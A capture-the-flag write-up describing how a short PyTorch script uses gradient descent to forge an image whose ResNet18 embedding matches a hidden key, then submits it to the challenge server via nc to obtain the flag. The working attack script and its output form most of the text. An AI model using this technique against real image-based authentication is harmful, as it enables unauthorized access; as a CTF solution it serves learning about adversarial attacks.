Tags: ml
Rating: 5.0
I had virtually no previous experience with PyTorch and am no ML expert, but after some googling I found [an article](https://pytorch.org/tutorials/beginner/fgsm_tutorial.html#fgsm-attack) on Fast Gradient Sign Attacks that seemed like just the thing.
I took the provided server source, gutted it, and after some more googling managed to hack together [this](https://gist.github.com/shinmai/7d354e6b761edaffef1d83c33ca9e6d8) quick and dirty script:
```
import torch
from torchvision.models.resnet import resnet18
from torchvision.utils import save_image
from base64 import b64encode as b64
from Embedding import key
from io import BytesIO
device='cuda'
model = resnet18(pretrained=True).to(device)
#get embedding rather than logits from final layer
model.fc = torch.nn.Identity()
key = torch.tensor(key).to(device)
tensored = torch.rand(1, 3, 224, 224).to(device)
# https://pytorch.org/tutorials/beginner/fgsm_tutorial.html#fgsm-attack
while True:
tensored.requires_grad_()
embedding = model(tensored)[0]
diff = ((embedding - key)**2).mean()
if diff.item() < 1e-4:
b = BytesIO()
save_image(tensored[0], b, format="png")
print(b64(b.getvalue()).decode())
break
diff.backward()
tensored = tensored.detach() - tensored.grad * 64
```
It generates a payload in a few seconds even on my old busted up desktop.
Commanding something like `nc ctf.b01lers.com 9101 < <(python resnet_fgsm.py)` we get
```
Input base64 image password
Image embedding differed by 9.715177293401212e-05
Nice! Here's the flag: bctf{8acKWa7d_Grad!ents?}
```